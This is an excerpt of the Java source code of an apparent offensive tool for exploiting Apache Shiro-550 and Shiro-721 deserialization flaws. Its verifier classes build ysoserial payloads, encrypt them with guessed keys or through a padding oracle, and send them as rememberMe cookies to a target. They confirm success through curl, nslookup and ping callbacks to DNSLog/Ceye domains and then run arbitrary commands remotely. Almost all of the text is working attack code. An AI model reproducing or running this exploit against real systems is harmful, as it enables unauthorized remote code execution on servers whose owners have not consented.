| String uuid = UUID.randomUUID().toString().replaceAll("-", ""); 73 | 74 | List commands = new ArrayList<>(); 75 | //linux 76 | commands.add("java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"curl http://" + uuid + "." + config.getCeyeDomain() + "\""); 77 | //windows 78 | commands.add("java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"nslookup " + uuid + "." + config.getCeyeDomain() + "\""); 79 | 80 | for(String command : commands){ 81 | byte[] payload = Tools.exec(command); 82 | String rememberMe = AesEncrypt.encrypt(this.key, payload); 83 | HttpRequest.request(config.getRequestInfo(), rememberMe); 84 | } 85 | 86 | map.put(uuid,payloadType); 87 | } 88 | 89 | return map; 90 | } 91 | 92 | private Map sendURLDNSPayloads(){ 93 | Map map = new HashMap<>(); 94 | 95 | for(String key : config.getKeys()){ 96 | System.out.println("[*] Trying Key: " + key); 97 | String uuid = UUID.randomUUID().toString().replaceAll("-", ""); 98 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" URLDNS " + "http://" + uuid + "." + config.getCeyeDomain(); 99 | byte[] payload = Tools.exec(command); 100 | String rememberMe = AesEncrypt.encrypt(key, payload); 101 | HttpRequest.request(config.getRequestInfo(), rememberMe); 102 | map.put(uuid, key); 103 | } 104 | 105 | return map; 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/vulnverifier/Shiro550VerifiertUsingDNSLog.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.vulnverifier; 2 | 3 | import com.shiroexploit.core.AesEncrypt; 4 | import com.shiroexploit.util.*; 5 | import java.io.File; 6 | import java.util.*; 7 | 8 | public class Shiro550VerifiertUsingDNSLog implements Verifier { 9 | private Config config; 10 | private String key; 11 | private List gadgets; 12 | private Boolean flag = false; 13 | 14 | public Shiro550VerifiertUsingDNSLog(){ 15 | this.config = Config.getInstance(); 16 | System.out.println("[*] Using Shiro550VerifiertUsingDNSLog"); 17 | System.out.println("[*] Your DNSLog SessionID: " + config.getSessionId()); 18 | System.out.println("[*] Your DNSLog Record: " + config.getDnsLogRecord()); 19 | System.out.println("[*] Sometimes detection failed because of huge delay in DNSLog.cn"); 20 | System.out.println("[*] You can confirm the vulnerability manually using your DNSLog SessionID"); 21 | this.gadgets = new ArrayList<>(); 22 | } 23 | 24 | 25 | @Override 26 | public void getValidGadget() throws ExploitFailedException { 27 | this.key = Tools.getValidKeyUsingSimplePrincipalCollection(); 28 | if(this.key == null){ 29 | System.out.println("[!] Can not find a valid key"); 30 | System.out.println("[!] Regression with URLDNS method"); 31 | Map keyMap = sendURLDNSPayloads(); 32 | this.key = Tools.getValidKeyFromDNSLog(keyMap); 33 | } 34 | 35 | if(this.key == null){ 36 | throw new ExploitFailedException("[-] Can not find a valid key"); 37 | } 38 | System.out.println("[+] Find Valid Key: " + this.key); 39 | 40 | Map gadgetMap = sendAllCurlPayloads(); 41 | this.gadgets = Tools.getValidGadgetsFromDNSLog(gadgetMap); 42 | if(this.gadgets.size() == 0){ 43 | throw new ExploitFailedException("[-] Can not find a valid gadget"); 44 | } 45 | 46 | for(PayloadType type : gadgets){ 47 | System.out.println("[+] Find Valid Gadget: " + type.getName()); 48 | } 49 | 50 | this.flag = true; 51 | } 52 | 53 | @Override 54 | public String executeCmd(String cmd){ 55 | PayloadType payloadType = Tools.randomSelect(gadgets); 56 | 57 | System.out.println("[*] Using Key " + this.key); 58 | System.out.println("[*] Using Gadget " + payloadType.getName()); 59 | System.out.println("[*] Executing command: " + cmd + "..."); 60 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"" + cmd + "\""; 61 | byte[] result = Tools.exec(command); 62 | String rememberMe = AesEncrypt.encrypt(this.key, result); 63 | 64 | HttpRequest.request(config.getRequestInfo(), rememberMe); 65 | System.out.println("[+] Done"); 66 | 67 | return null; 68 | } 69 | 70 | private Map sendAllCurlPayloads(){ 71 | Map map = new HashMap<>(); 72 | 73 | for(PayloadType payloadType : config.getGadgets()){ 74 | System.out.println("[*] Trying Gadget: " + payloadType.getName()); 75 | 76 | String uuid = UUID.randomUUID().toString().replaceAll("-", ""); 77 | 78 | List commands = new ArrayList<>(); 79 | //linux 80 | commands.add("java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + 81 | payloadType.getName() + " \"curl http://" + uuid + "." + config.getDnsLogRecord() + "\""); 82 | //windows 83 | commands.add("java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + 84 | payloadType.getName() + " \"nslookup " + uuid + "." + config.getDnsLogRecord() + "\""); 85 | 86 | for(String command : commands){ 87 | byte[] payload = Tools.exec(command); 88 | String rememberMe = AesEncrypt.encrypt(this.key, payload); 89 | HttpRequest.request(config.getRequestInfo(), rememberMe); 90 | } 91 | 92 | map.put(uuid,payloadType); 93 | } 94 | 95 | return map; 96 | } 97 | 98 | private Map sendURLDNSPayloads(){ 99 | Map map = new HashMap<>(); 100 | 101 | for(String key : config.getKeys()){ 102 | System.out.println("[*] Trying Key: " + key); 103 | String uuid = UUID.randomUUID().toString().replaceAll("-", ""); 104 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" URLDNS " + "http://" + uuid + "." + config.getDnsLogRecord(); 105 | byte[] payload = Tools.exec(command); 106 | String rememberMe = AesEncrypt.encrypt(key, payload); 107 | HttpRequest.request(config.getRequestInfo(), rememberMe); 108 | map.put(uuid, key); 109 | } 110 | 111 | return map; 112 | } 113 | } 114 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/vulnverifier/Shiro550VerifiertWithJRMP.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.vulnverifier; 2 | 3 | import com.shiroexploit.core.AesEncrypt; 4 | import com.shiroexploit.util.*; 5 | import java.io.File; 6 | import java.util.*; 7 | 8 | public class Shiro550VerifiertWithJRMP implements Verifier { 9 | private Config config; 10 | private String key; 11 | private List gadgets; 12 | private boolean flag = false; 13 | 14 | public Shiro550VerifiertWithJRMP(){ 15 | this.config = Config.getInstance(); 16 | System.out.println("[*] Using Shiro550VerifiertWithJRMP"); 17 | System.out.println("[*] Your DNSLog SessionID: " + config.getSessionId()); 18 | System.out.println("[*] Your DNSLog Record: " + config.getDnsLogRecord()); 19 | System.out.println("[*] Sometimes detection failed because of huge delay in DNSLog.cn"); 20 | System.out.println("[*] You can confirm the vulnerability manually using your DNSLog SessionID"); 21 | this.gadgets = new ArrayList<>(); 22 | } 23 | 24 | 25 | @Override 26 | public void getValidGadget() throws ExploitFailedException { 27 | this.key = Tools.getValidKeyUsingSimplePrincipalCollection(); 28 | if(this.key == null){ 29 | System.out.println("[!] Can not find a valid key"); 30 | System.out.println("[!] Regression with URLDNS method"); 31 | Map keyMap = sendURLDNSPayloads(); 32 | this.key = Tools.getValidKeyFromDNSLog(keyMap); 33 | } 34 | if(this.key == null){ 35 | throw new ExploitFailedException("[-] Can not find a valid key"); 36 | } 37 | System.out.println("[+] Find Valid Key: " + this.key); 38 | 39 | Map gadgetMap = sendAllCurlPayloads(); 40 | if(this.gadgets.size() == 0){ 41 | throw new ExploitFailedException("[-] Can not find a valid gadget"); 42 | } 43 | 44 | for(PayloadType type : gadgets){ 45 | System.out.println("[+] Find Valid Gadget: " + type.getName()); 46 | } 47 | 48 | this.flag = true; 49 | } 50 | 51 | 52 | @Override 53 | public String executeCmd(String cmd){ 54 | PayloadType payloadType = Tools.randomSelect(gadgets); 55 | 56 | System.out.println("[*] Using Key " + this.key); 57 | System.out.println("[*] Using Gadget " + payloadType.getName()); 58 | System.out.println("[*] Executing command: " + cmd + "..."); 59 | 60 | process(payloadType, cmd, this.key); 61 | 62 | return null; 63 | } 64 | 65 | 66 | private Map sendURLDNSPayloads(){ 67 | Map map = new HashMap<>(); 68 | 69 | for(String key : config.getKeys()){ 70 | System.out.println("[*] Trying Key: " + key); 71 | String uuid = UUID.randomUUID().toString().replaceAll("-", ""); 72 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" URLDNS " + "http://" + uuid + "." + config.getDnsLogRecord(); 73 | byte[] payload = Tools.exec(command); 74 | String rememberMe = AesEncrypt.encrypt(key, payload); 75 | HttpRequest.request(config.getRequestInfo(), rememberMe); 76 | map.put(uuid, key); 77 | } 78 | 79 | return map; 80 | } 81 | 82 | 83 | private Map sendAllCurlPayloads() throws ExploitFailedException { 84 | Map map = new HashMap<>(); 85 | 86 | for(PayloadType payloadType : config.getGadgets()){ 87 | System.out.println("[*] Trying Gadget: " + payloadType.getName()); 88 | String uuid = UUID.randomUUID().toString().replaceAll("-", ""); 89 | 90 | List commands = new ArrayList<>(); 91 | //linux 92 | commands.add("curl http://" + uuid + "." + config.getDnsLogRecord()); 93 | //windows 94 | commands.add("nslookup " + uuid + "." + config.getDnsLogRecord()); 95 | 96 | for(String command : commands){ 97 | process(payloadType, command, this.key); 98 | } 99 | 100 | map.put(uuid, payloadType); 101 | 102 | if(Tools.getValidDNSLogRecord(uuid)){ 103 | this.gadgets.add(payloadType); 104 | if(config.isSkipIfFound()){ 105 | break; 106 | } 107 | } 108 | } 109 | 110 | return map; 111 | } 112 | 113 | 114 | private void process(PayloadType payloadType, String command, String key){ 115 | Tools.setJRMPServer(config.getJRMPServiceAddress(), config.getHTTPServicePort(), payloadType, command); 116 | 117 | command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" JRMPClient " + config.getJRMPServiceAddress() + ":" + config.getJRMPServicePort(); 118 | byte[] payload = Tools.exec(command); 119 | String rememberMe = AesEncrypt.encrypt(key, payload); 120 | HttpRequest.request(config.getRequestInfo(), rememberMe); 121 | 122 | try { 123 | Thread.sleep(config.getJRMPRequestDelay() * 1000); 124 | } catch (InterruptedException e) { 125 | e.printStackTrace(); 126 | } 127 | } 128 | } -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/vulnverifier/Shiro721VerifierUsingEcho.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.vulnverifier; 2 | 3 | import com.shiroexploit.core.PaddingOracle; 4 | import com.shiroexploit.util.*; 5 | import java.io.File; 6 | import java.util.ArrayList; 7 | import java.util.List; 8 | 9 | public class Shiro721VerifierUsingEcho implements Verifier { 10 | private Config config; 11 | private List gadgets; 12 | private List echoTypes; 13 | 14 | public Shiro721VerifierUsingEcho(){ 15 | this.config = Config.getInstance(); 16 | this.gadgets = new ArrayList<>(); 17 | this.echoTypes = new ArrayList<>(); 18 | System.out.println("[*] Using Shiro721VerifierUsingEcho"); 19 | } 20 | 21 | @Override 22 | public void getValidGadget() throws ExploitFailedException { 23 | 24 | label1:for(PayloadType type : config.getGadgets()) { 25 | 26 | System.out.println("[*] Trying Gadget: " + type.getName()); 27 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName() 28 | + " directive:sleep:10"; 29 | byte[] result = Tools.exec(command); 30 | PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result); 31 | String rememberMe = paddingOracle.encrypt(); 32 | 33 | int delay = HttpRequest.getRequestDelay(config.getRequestInfo(), rememberMe); 34 | if (delay >= 9) { 35 | int secondTest = delay + 5; 36 | command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName() 37 | + " directive:sleep:" + secondTest; 38 | 39 | 40 | result = Tools.exec(command); 41 | paddingOracle = new PaddingOracle(config.getRequestInfo(), result); 42 | rememberMe = paddingOracle.encrypt(); 43 | 44 | delay = HttpRequest.getRequestDelay(config.getRequestInfo(), rememberMe); 45 | 46 | if (delay >= secondTest - 1) { 47 | System.out.println("[+] Time delay Detected, target seems to be vulnerable, confirming...."); 48 | this.gadgets.add(type); 49 | 50 | getValidEchoMethod(); 51 | 52 | if(this.echoTypes.size() > 0){ 53 | System.out.println("[+] Vuln Confirmed"); 54 | System.out.println("[+] Find Valid Gadget: " + this.gadgets.get(0)); 55 | for(EchoType echoType : this.echoTypes){ 56 | System.out.println("[+] Find Valid Echo Method: " + echoType.getName()); 57 | } 58 | break label1; 59 | }else{ 60 | System.out.println("[-] Looks like a false positive or can not find a valid echo method"); 61 | this.gadgets.clear(); 62 | } 63 | } 64 | } 65 | } 66 | 67 | if(this.gadgets.size() == 0){ 68 | throw new ExploitFailedException("[-] Can't find a valid gadget"); 69 | } 70 | } 71 | 72 | private void getValidEchoMethod(){ 73 | this.echoTypes = EchoUtil.getValidEchoType(null, this.gadgets.get(0)); 74 | } 75 | 76 | @Override 77 | public String executeCmd(String cmd){ 78 | PayloadType payloadType = Tools.randomSelect(gadgets); 79 | EchoType echoType = Tools.randomSelect(echoTypes); 80 | 81 | if(cmd.startsWith("directive:")){ 82 | System.out.println("[*] Using Gadget " + payloadType.getName()); 83 | System.out.println("[*] Executing command: " + cmd + "..."); 84 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"" + cmd + "\""; 85 | byte[] result = Tools.exec(command); 86 | PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result); 87 | String rememberMe = null; 88 | try { 89 | rememberMe = paddingOracle.encrypt(); 90 | } catch (ExploitFailedException e) { 91 | e.printStackTrace(); 92 | } 93 | HttpRequest.request(config.getRequestInfo(), rememberMe); 94 | System.out.println("[+] Done"); 95 | return ""; 96 | } 97 | 98 | System.out.println("[*] Using Gadget " + payloadType.getName()); 99 | System.out.println("[*] Using Echo Method " + echoType.getName()); 100 | System.out.println("[*] Executing command: " + cmd + "..."); 101 | String result = EchoUtil.getEchoResult(null, payloadType, cmd, echoType); 102 | System.out.println("[+] Done"); 103 | 104 | return result; 105 | } 106 | } 107 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/vulnverifier/Shiro721VerifierWithJRMP.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.vulnverifier; 2 | 3 | import com.shiroexploit.core.PaddingOracle; 4 | import com.shiroexploit.util.*; 5 | import java.io.File; 6 | import java.util.*; 7 | 8 | public class Shiro721VerifierWithJRMP implements Verifier { 9 | private Config config; 10 | private List gadgets; 11 | 12 | public Shiro721VerifierWithJRMP(){ 13 | this.config = Config.getInstance(); 14 | this.gadgets = new ArrayList<>(); 15 | System.out.println("[*] Using Shiro721VerifierWithJRMP"); 16 | System.out.println("[*] Your DNSLog SessionID: " + config.getSessionId()); 17 | System.out.println("[*] Your DNSLog Record: " + config.getDnsLogRecord()); 18 | System.out.println("[*] Sometimes detection failed because of huge delay in DNSLog.cn"); 19 | System.out.println("[*] You can confirm the vulnerability manually using your DNSLog SessionID"); 20 | } 21 | 22 | @Override 23 | public void getValidGadget() throws ExploitFailedException { 24 | for(PayloadType type : config.getGadgets()){ 25 | 26 | System.out.println("[*] Trying Gadget: " + type.getName()); 27 | String uuid = UUID.randomUUID().toString().replaceAll("-", ""); 28 | //这里用 ping 主要是为了节约检测时间,不需要针对 Windows 和 Linux 去分开对待 29 | //在 Linux 下,如果 ping 不跟 -c 参数,会一直 ping 下去,这里存在瑕疵,为了检测方便,这点还是可以接受吧 30 | String command = "ping " + uuid + "." + config.getDnsLogRecord(); 31 | process(command, type); 32 | 33 | if(Tools.getValidDNSLogRecord(uuid)){ 34 | this.gadgets.add(type); 35 | System.out.println("[+] Find Valid Gadget: " + type.getName()); 36 | if(config.isSkipIfFound()){ 37 | break; 38 | } 39 | } 40 | } 41 | 42 | if(this.gadgets.size() == 0){ 43 | throw new ExploitFailedException("[-] Can't find a valid gadget"); 44 | } 45 | } 46 | 47 | @Override 48 | public String executeCmd(String cmd){ 49 | PayloadType payloadType = Tools.randomSelect(gadgets); 50 | 51 | System.out.println("[*] Using Gadget " + payloadType.getName()); 52 | System.out.println("[*] Executing command: " + cmd + "..."); 53 | 54 | try { 55 | process(cmd, payloadType); 56 | } catch (ExploitFailedException e) { 57 | e.printStackTrace(); 58 | } 59 | System.out.println("[+] Done"); 60 | 61 | return null; 62 | } 63 | 64 | private void process(String command, PayloadType payloadType) throws ExploitFailedException { 65 | Tools.setJRMPServer(config.getJRMPServiceAddress(), config.getHTTPServicePort(), payloadType, command); 66 | 67 | command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" JRMPClient " + config.getJRMPServiceAddress() + ":" + config.getJRMPServicePort(); 68 | byte[] payload = Tools.exec(command); 69 | PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), payload); 70 | String rememberMe = paddingOracle.encrypt(); 71 | System.out.println("[*] rememberMe=" + rememberMe); 72 | HttpRequest.request(config.getRequestInfo(), rememberMe); 73 | 74 | try{ 75 | Thread.sleep(config.getJRMPRequestDelay() * 1000); 76 | } catch (InterruptedException e) { 77 | e.printStackTrace(); 78 | } 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/vulnverifier/Shiro721VerifiertUsingCeye.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.vulnverifier; 2 | 3 | import com.shiroexploit.core.PaddingOracle; 4 | import com.shiroexploit.util.*; 5 | import java.io.File; 6 | import java.util.ArrayList; 7 | import java.util.List; 8 | import java.util.UUID; 9 | 10 | public class Shiro721VerifiertUsingCeye implements Verifier { 11 | 12 | private Config config; 13 | private List gadgets; 14 | 15 | public Shiro721VerifiertUsingCeye(){ 16 | System.out.println("[*] Using Shiro721VerifiertUsingCeye"); 17 | this.config = Config.getInstance(); 18 | this.gadgets = new ArrayList<>(); 19 | } 20 | 21 | 22 | @Override 23 | public void getValidGadget() throws ExploitFailedException { 24 | 25 | for(PayloadType type : config.getGadgets()){ 26 | System.out.println("[*] Trying Gadget: " + type.getName()); 27 | 28 | String uuid = UUID.randomUUID().toString().replaceAll("-", ""); 29 | //这里用 ping 主要是为了节约检测时间,不需要针对 Windows 和 Linux 去分开对待 30 | //在 Linux 下,如果 ping 不跟 -c 参数,会一直 ping 下去,这里存在瑕疵,为了检测方便,这点还是可以接受吧 31 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + 32 | type.getName() + " \"ping " + uuid + "." + config.getCeyeDomain() + "\""; 33 | 34 | byte[] result = Tools.exec(command); 35 | PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result); 36 | String rememberMe = paddingOracle.encrypt(); 37 | System.out.println("[*] rememberMe=" + rememberMe); 38 | HttpRequest.request(config.getRequestInfo(), rememberMe); 39 | 40 | if(Tools.getCeyeResult(uuid, config.getCeyeToken())){ 41 | this.gadgets.add(type); 42 | System.out.println("[+] Find Valid Gadget: " + type.getName()); 43 | break; 44 | } 45 | } 46 | 47 | if(this.gadgets.size() == 0){ 48 | throw new ExploitFailedException("[-] Can't find a valid gadget"); 49 | } 50 | } 51 | 52 | @Override 53 | public String executeCmd(String cmd){ 54 | PayloadType payloadType = Tools.randomSelect(gadgets); 55 | 56 | System.out.println("[*] Using Gadget " + payloadType.getName()); 57 | System.out.println("[*] Executing command: " + cmd + "..."); 58 | 59 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"" + cmd + "\""; 60 | byte[] result = Tools.exec(command); 61 | PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result); 62 | String rememberMe = null; 63 | try { 64 | rememberMe = paddingOracle.encrypt(); 65 | } catch (ExploitFailedException e) { 66 | e.printStackTrace(); 67 | } 68 | System.out.println("[*] rememberMe=" + rememberMe); 69 | HttpRequest.request(config.getRequestInfo(), rememberMe); 70 | System.out.println("[+] Done"); 71 | 72 | return null; 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/vulnverifier/Shiro721VerifiertUsingDNSLog.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.vulnverifier; 2 | 3 | import com.shiroexploit.core.PaddingOracle; 4 | import com.shiroexploit.util.*; 5 | import java.io.File; 6 | import java.util.ArrayList; 7 | import java.util.List; 8 | import java.util.UUID; 9 | 10 | public class Shiro721VerifiertUsingDNSLog implements Verifier { 11 | 12 | private Config config; 13 | private List gadgets; 14 | 15 | public Shiro721VerifiertUsingDNSLog(){ 16 | this.config = Config.getInstance(); 17 | this.gadgets = new ArrayList<>(); 18 | System.out.println("[*] Using Shiro721VerifiertUsingDNSLog"); 19 | System.out.println("[*] Your DNSLog SessionID: " + config.getSessionId()); 20 | System.out.println("[*] Your DNSLog Record: " + config.getDnsLogRecord()); 21 | System.out.println("[*] Sometimes detection failed because of huge delay in DNSLog.cn"); 22 | System.out.println("[*] You can confirm the vulnerability manually using your DNSLog SessionID"); 23 | } 24 | 25 | 26 | @Override 27 | public void getValidGadget() throws ExploitFailedException { 28 | 29 | for(PayloadType type : config.getGadgets()){ 30 | System.out.println("[*] Trying Gadget: " + type.getName()); 31 | 32 | String uuid = UUID.randomUUID().toString().replaceAll("-", ""); 33 | //这里用 ping 主要是为了节约检测时间,不需要针对 Windows 和 Linux 去分开对待 34 | //在 Linux 下,如果 ping 不跟 -c 参数,会一直 ping 下去,这里存在瑕疵,为了检测方便,这点还是可以接受吧 35 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + 36 | type.getName() + " \"ping " + uuid + "." + config.getDnsLogRecord() + "\""; 37 | 38 | byte[] result = Tools.exec(command); 39 | PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result); 40 | String rememberMe = paddingOracle.encrypt(); 41 | System.out.println("[*] rememberMe=" + rememberMe); 42 | HttpRequest.request(config.getRequestInfo(), rememberMe); 43 | 44 | if(Tools.getValidDNSLogRecord(uuid)){ 45 | this.gadgets.add(type); 46 | System.out.println("[+] Find Valid Gadget: " + type.getName()); 47 | break; 48 | } 49 | } 50 | 51 | if(this.gadgets.size() == 0){ 52 | throw new ExploitFailedException("[-] Can't find a valid gadget"); 53 | } 54 | } 55 | 56 | @Override 57 | public String executeCmd(String cmd){ 58 | PayloadType payloadType = Tools.randomSelect(gadgets); 59 | 60 | System.out.println("[*] Using Gadget " + payloadType.getName()); 61 | System.out.println("[*] Executing command: " + cmd + "..."); 62 | 63 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"" + cmd + "\""; 64 | byte[] result = Tools.exec(command); 65 | PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result); 66 | String rememberMe = null; 67 | try { 68 | rememberMe = paddingOracle.encrypt(); 69 | } catch (ExploitFailedException e) { 70 | e.printStackTrace(); 71 | } 72 | System.out.println("[*] rememberMe=" + rememberMe); 73 | HttpRequest.request(config.getRequestInfo(), rememberMe); 74 | System.out.println("[+] Done"); 75 | 76 | return null; 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/vulnverifier/Verifier.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.vulnverifier; 2 | 3 | import com.shiroexploit.util.ExploitFailedException; 4 | 5 | public interface Verifier { 6 | void getValidGadget() throws ExploitFailedException; 7 | String executeCmd(String cmd); 8 | } 9 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/vulnverifier/VerifierFactory.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.vulnverifier; 2 | 3 | import com.shiroexploit.util.Config; 4 | 5 | public class VerifierFactory { 6 | private Verifier verifier; 7 | public static VerifierFactory factory = new VerifierFactory(); 8 | 9 | private VerifierFactory(){} 10 | 11 | public static VerifierFactory getInstance(){ 12 | return factory; 13 | } 14 | 15 | public Verifier getVerifier(){ 16 | if(Config.getInstance().getVulType() == 0){ 17 | if(Config.getInstance().getCheckMethod() == 0){ 18 | verifier = new Shiro550VerifiertUsingCeye(); 19 | }else if(Config.getInstance().getCheckMethod() == 1){ 20 | verifier = new Shiro550VerifiertUsingDNSLog(); 21 | }else if(Config.getInstance().getCheckMethod() == 2){ 22 | verifier = new Shiro550VerifiertWithJRMP(); 23 | }else{ 24 | verifier = new Shiro550VerifierUsingEcho(); 25 | } 26 | }else{ 27 | if(Config.getInstance().getCheckMethod() == 0){ 28 | verifier = new Shiro721VerifiertUsingCeye(); 29 | }else if(Config.getInstance().getCheckMethod() == 1){ 30 | verifier = new Shiro721VerifiertUsingDNSLog(); 31 | }else if(Config.getInstance().getCheckMethod() == 2){ 32 | verifier = new Shiro721VerifierWithJRMP(); 33 | }else{ 34 | verifier = new Shiro721VerifierUsingEcho(); 35 | } 36 | } 37 | 38 | return verifier; 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /src/main/resources/my.css: -------------------------------------------------------------------------------- 1 | .text-area{ 2 | -fx-background-insets: 0; 3 | -fx-background-color: transparent, #F3F3F3, transparent, #F3F3F3; 4 | } 5 | 6 | .text-area .content { 7 | -fx-background-color: transparent, #F3F3F3, transparent, #F3F3F3; 8 | } 9 | 10 | .text-area:focused { 11 | -fx-background-color: transparent, #F3F3F3, transparent, #F3F3F3; 12 | } --------------------------------------------------------------------------------